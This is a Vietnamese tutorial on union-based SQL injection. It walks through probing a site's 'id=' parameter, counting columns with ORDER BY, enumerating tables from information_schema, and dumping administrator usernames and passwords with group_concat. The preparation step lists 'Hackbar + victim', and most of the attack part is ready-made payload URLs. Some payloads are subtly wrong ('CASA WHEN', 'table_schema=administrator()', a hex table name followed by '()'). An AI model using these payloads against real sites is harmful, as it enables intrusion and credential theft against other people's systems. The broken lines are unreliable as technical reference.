SQL Injection là một kỹ thuật cho phép những kẻ tấn công lợi dụng lỗ hổng của việc kiểm tra dữ liệu đầu vào trong các ứng dụng web và các thông báo lỗi của hệ quản trị cơ sở dữ liệu trả về inject(tiêm vào) và thi hành các câu lệnh SQL bất hợp pháp. SQL Injection có thể cho phép những kẻ tấn công thực hiện thao tác, delete, insert, update... trên cơ sở dữ liệu của ứng dụng, thậm chí là server mà ứng dụng đó đang chạy, lỗi này thường xảy ra trên các ứng dụng web có dữ liệu được quản lý bằng các hệ quản trị cơ sở dữ liệu như SQL Server, My SQL, Oracle, DB2, Sysbase...
- Có 3 bước thực hiện :
1. Check
2. Order by
3. Union select
* Lưu ý :
- Có những website chúng ta không thấy lỗi, nhưng đừng vội bỏ qua vì chúng có thể bị admin ẩn thôi :D
- Và đừng có một suy nghĩ khi xong sqli rồi thì khai thác ngân hàng được xong làm hacker (mình thấy nhiều lắm).
- Thay vì thêm ' thì ta dùng các phép toán :
and 1=1 hiện ra website , and 1=0 hiện ra website báo lỗi --> Website đã bị lỗi SQL
- Sử dụng các phép toán kiểu true false : VD: 2 > 3 ; 2 < 3
1–1
BETWEEN 1 AND 3
‘b’ BETWEEN ‘a’ AND ‘c’
2 IN (0,1,2)
CASA WHEN 1>0 THEN 1 END
‘ uuu’ = ‘uuu’
ISNULL(NULL) ISNULL(COT(0))
1 IS NOT NULL
NULL IS NULL
-------------------------------------------------------------------------------------------------------------------------
I. SQLI CƠ BẢN
Cần chuẩn bị : Hackbar + victim :))
Tìm những liên kết có dạng như id= và bắt đầu.
Ví dụ : http://yoursitehere.com/index.php?id=23
Tiếp theo để kiểm tra lỗi, ta dùng ' : http://yoursitehere.com/index.php?id=23'
"Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in/home/yoursitehere/domains/yoursitehere.com/public_html/productcontent.php on line 191"
--> Đây là hiện trạng khi có lỗi hoặc tương tự.
Sau đó ta sẽ order by xem lỗi :
http://yoursitehere.com/index.php?id=23 order by 1-- -
...
--> Ví dụ đến cột lỗi là 5
Bây giờ ta dùng lệnh UNION SELECT để khai thác nó.
http://yoursitehere.com/index.php?id=23 UNION SELECT 1,2,3,4-- -
<!> Nếu vẫn không xuất hiện hiện tượng gì thì ta thay id=23 thành id=null
Ví dụ như xuất hiện cột lỗi là 2
--> Ta khai thác với lệnh sau : http://yoursitehere.com/index.php?id=23 UNION SELECT 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()-- -
Ta được các tables như sau : administrator, email, link,...
Nếu ta chọn administrator : http://yoursitehere.com/index.php?id=23 UNION SELECT 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=administrator()-- -
Ta sẽ chuyển như sau để ta được như mong muốn :
http://yoursitehere.com/index.php?id=23 UNION SELECT 1,group_concat(column_name),3,4 from information_schema.columns where table_name=0x61646d696e6973747261746f72()-- -
--> administrator chuyển thành mã hex, sau đó thêm 0x đằng trước.
Khi ta chạy thì ví dụ nó hiện user,pass,phone,...
-> Ta thực hiện tiếp :
http://yoursitehere.com/index.php?id=23 UNION SELECT 1,group_concat(user,0x7c,pass),3,4 from administrator-- -
--> 0x7c là hex của |
Đã xong phần sqli cơ bản.